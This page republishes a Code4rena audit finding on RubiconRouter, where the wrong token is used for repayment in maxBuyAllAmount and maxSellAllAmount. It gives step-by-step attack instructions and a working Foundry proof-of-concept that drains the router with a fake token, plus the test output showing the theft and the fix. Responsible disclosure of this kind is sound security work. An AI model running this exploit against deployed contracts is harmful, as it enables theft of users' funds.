Skip to content
Business logic Audit finding Intermediate

An attacker can steal all RubiconRouter funds

The RubiconRouter contract incorrectly sends the wrong token when repaying users in maxBuyAllAmount and maxSellAllAmount, allowing an attacker to steal all funds held by the router. An attacker can create a fake token, set up a trade, and then use the flawed function to receive real tokens from the router.

CryptoCraze Follow

Originally disclosed on Code4rena

Submitted by CryptoCraze.

An attacker can steal all funds in RubiconRouter by abusing an error in the token to repay the user in the functions maxBuyAllAmount and maxSellAllAmount (and possibly others).

Please note that the vulnerability exists in the version of RubiconRouter in production and was missed in the C4 audit for Rubicon v1.

Proof of Concept

The function maxBuyAllAmount is used to allow a user to trade using their entire balance of buy_gem. The user transfers the funds to the router and then RubiconMarket is used to find the best offers and execute them. After the trades are performed, the router intends to forward the resulting amount back to the user. Due to a bug, the token used for this transfer is buy_gem again, instead of pay_gem as seen in the same function.

This mismatch allows an attacker to steal all funds stored in the router using the following steps:

  1. Create a fake token (which only the attacker can mint).
  2. Call approveAssetOnMarket with the fake token indirectly. This can be done by trading with ETH and the fake token (e.g. by using offerWithETH and buyAllAmountForETH). Without this step, all calls to maxBuyAllAmount will fail because it doesn’t approve new tokens. We suspect this is partly the reason this was missed by the test and wasn’t used in production.
  3. Offer a small amount of a real token (e.g. USDC) for a large amount of the fake token.
  4. Transfer the fake token to the router so it can buy the offer.
  5. Buy the offer using maxBuyAllAmount and receive the funds in the real token (e.g. USDC) instead of the fake token.

Attached is a POC which performs this flow:

For this POC, please include the following lines in ProtocolDeployment.t.sol:

import "../../contracts/utilities/RubiconRouter.sol";
import "forge-std/StdUtils.sol";

The exploit is performed by the following function:

  function test_WithRouter() public {
    RubiconRouter router = new RubiconRouter();
    router.startErUp(address(market), payable(address(WETH)));

    address attacker = 0x000000000000000000000000000000000000dACa;
    uint256 routerBalance = 1e10;
    deal(address(TUSDC), address(router), routerBalance); // Set this to simulate current router balance
    deal(address(TUSDC), attacker, 1+1);
    vm.deal(attacker, 1 ether);

    vm.startPrank(attacker);

    // create fake coin which only attacker can mint
    TokenWithFaucet FAKE = new TokenWithFaucet(attacker, "Fake", "FAKE", 18);
    FAKE.adminMint();

    FAKE.approve(address(market), type(uint256).max);
    TUSDC.approve(address(market), type(uint256).max);
    FAKE.approve(address(router), type(uint256).max);
    TUSDC.approve(address(router), type(uint256).max);

    // Create approval for fake coin (otherwise market will not be able to transfer fake coins from router)
    router.offerWithETH{value: 1}(1 /* ETH */, 1, FAKE, 0, attacker);
    router.buyAllAmountForETH(1, FAKE, 1);

    // Assume TEST is a fake token only attacker can mint
    uint256 fees = (routerBalance * (market.getFeeBPS() + market.makerFee())) / 100_000;
    market.offer(1, TUSDC, routerBalance, FAKE, 0, attacker, attacker); // offer 1 usdc for a lot of fake coin

    assertEq(TUSDC.balanceOf(attacker), 1);

    FAKE.transfer(address(router), routerBalance + fees); // give router fake coins so it can buy the offer
    router.maxBuyAllAmount(TUSDC, FAKE, type(uint256).max); // pay 1 usdc for a lot of usdc instead of fake coin (because of the vulnerability)

    assertGt(TUSDC.balanceOf(attacker), 1);
    console.log(TUSDC.balanceOf(attacker));
  }

The output of this test shows that funds were stolen from the router:

Running 1 test for test/foundry-tests/ProtocolDeployment.t.sol:ProtocolDeploymentTest
[PASS] test_WithRouter() (gas: 5216320)
Logs:
  9999000000

Test result: ok. 1 passed; 0 failed; finished in 20.86ms

Recommended Mitigation Steps

The final transfers in maxBuyAllAmount and maxSellAllAmount (see RubiconRouter.sol#L355 and RubiconRouter.sol#L374) should use pay_gem instead of buy_gem.

bghughes (Rubicon) confirmed

HickupHH3 (judge) commented:

Valid, but the router’s OOS.

I’m on the fence for disqualifying it as it should be awarded separately from the audit, but there doesn’t seem to be a bug bounty program. Will include it unless the sponsor decides to give a separate reward.


The original report as published on Code4rena, by CryptoCraze. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the router uses the wrong token variable (buy_gem instead of pay_gem) when transferring the proceeds back to the user.

Impact

An attacker could steal all funds stored in the router.

What the attacker needed

Attacker can create a fake token; Router holds funds; Attacker can trade with ETH and fake token

How it was found

  1. Create a fake token that only the attacker can mint.
  2. Call approveAssetOnMarket with the fake token indirectly by trading with ETH and the fake token.
  3. Offer a small amount of a real token for a large amount of the fake token.
  4. Transfer the fake token to the router so it can buy the offer.
  5. Buy the offer using maxBuyAllAmount and receive the real token instead of the fake token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A router contract helps users trade tokens. When a user sells tokens, the router should give back the other token, but due to a mistake it gives back the same token the user sold. This lets an attacker trick the router into giving them valuable tokens for worthless fake ones.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by CryptoCraze

View all

2 more disclosed reports, best first.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.